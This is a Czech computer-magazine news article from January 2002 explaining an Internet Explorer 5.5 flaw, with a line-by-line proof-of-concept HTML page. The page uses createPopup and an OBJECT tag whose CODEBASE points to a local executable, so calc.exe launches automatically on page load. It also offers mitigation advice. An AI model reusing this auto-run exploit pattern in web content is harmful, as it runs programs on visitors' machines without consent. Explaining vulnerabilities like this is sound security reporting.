ZaRohem.cz Pražské metro Test osobnosti CowParade 2004 Praha MHD v ČR
Blog ZaRohem 1.PCRevue.cz Vinárna Na roli (Petřvald) Restaurace Třebovická role kapela Terra Ignota

Reklama
Hlavní stránka
Aktuality
Software
Internet
Hardware
Seriály
Viry
Tipy a triky
Download
Konference
Napište nám
Reklama
Doporučujeme užitečný crm systém od CÍGLER SOFTWARE!
24. leden 2002 - Aktuality

Dokáže webová stránka spustit program z vašeho počítače? Ukážeme vám, že ANO!

Načtete ve svém browseru webovou stránku ze serveru a spustí se program z vašeho počítače. Pohádka? Nikoli! Jestliže máte MS Internet Explorer 5.5 nebo vyšší, můžete si to na vlastní oči vyzkoušet zde - po otevření stránky se spustí aplikace Kalkulačka. Jistě není těžké domyslet, jaké jiné aplikace by se daly tímto způsobem spouštět... Informace o této chybě nalezené 10. ledna 2002 jsou k nalezení na serveru www.osioniusx.com, kde si můžete zkusit spouštění aplikací a otevírání složek klikáním na odkazy.

Jde o to, že "vyskakovací" okno umožňuje vložení objektů z nichž lze následně spouštět lokální aplikace parametrem codebase. K vyvolání programu je nutné znát jeho přesné umístění, které bývá na většině instalovaných systémů stejné (pokud uživatel sám nezmění lokaci systémové složky).

Objevitel Dave Ahmad informoval o nalezené chybě Microsoft, nicméně ten se zatím nevyjádřil a nevydal žádnou záplatu. Prozatímním řešením může být vypnutí aktivního skriptování nebo použití jiného prohlížeče.

Jak to funguje?

V naší ukázkové stránce jsme použili část skriptu, kterým na serveru Osionusx demonstrují otevírání programů.

Stránka začíná standardní hlavičkou:
<HTML>
<HEAD>
<TITLE>Otevření programu kalkulačka</TITLE>

Následuje definice jazyka skriptu:
<SCRIPT LANGUAGE="JavaScript">

Deklarace proměnné oPopup využívá metodu createPopup() objektu window, což je rozšíření MS Internet Exploreru 5.5 a vyššího (nejedná se tedy o standardní JavaScript a metoda není podporována všemi prohlížeči). Takto vytvořené okno není zobrazeno (zobrazení se dá dosáhnout metodou show). Další informace o této metodě najdete zde.
var oPopup = window.createPopup();

Pokračuje funkce, která do vzniklého okna vloží objekt:
function ukazka()
{

Nejprve je otevřenému oknu přiřazen objekt body:
var oPopBody = oPopup.document.body;

Do toho objektu je pak vložen samotný kód (tedy obsah vytvořeného, ale nezobrazeného okna). Jak můžete vidět, jedná se o standardní element object umožňující vkládání prakticky libovolných objektů včetně definice jakým způsobem mají být zpracovány:
oPopBody.innerHTML = '<OBJECT NAME="X" CLASSID="CLSID:11111111-1111-1111-1111-111111111111" CODEBASE="c:/windows/calc.exe"></OBJECT><OBJECT NAME="X" CLASSID="CLSID:11111111-1111-1111-1111-111111111111" CODEBASE="c:/winnt/system32/calc.exe"></OBJECT>';

Skript je ukončen a pokračuje standardní HTML dokument.
}
</SCRIPT>
</HEAD>
<BODY onload="ukazka()">
Otevření programu kalkulačka
</BODY>
</HTML>

Parametr onload pak při načítání těla stránky vyvolá výše uvedenou funkci ukazka a ta provede vše ostatní - tedy otevře nové okno, vloží do něj objekt a přes tento objekt spustí program Kalkulačka. Funkci lze samozřejmě vyvolat i dalšími metodami - například kliknutím myší nebo uzavřením okna prohlížeče. Tato má výhodu, že nevyžaduje od uživatele žádnou jinou aktivitu, než pouhé otevření stránky.

Jistě bude zajímavé sledovat, jak se k celé věci postaví Microsoft a jak této bezpečnostní chyby využijí například programátoři virů. Stejně jako Internet Explorer se totiž chovají všechny aplikace využívající jeho jádro (tedy i nejčastěji používané e-mailové programy Outlook Express a Outlook) a odtud je jen krůček k dalšímu zneužití pro škodlivé programy.

Reklama
 
 
Aktuální články:
Reklama
Program eWay-CRM je praktické CRM řešení integrované přímo do Microsoft Outlooku.
 
 
Reklama
 
© 1.PC Revue.cz - všechna práva vyhrazena
ISSN: 1213-080X
© Karel Kilián ml.
Zásady ochrany osobních údajů
Reklama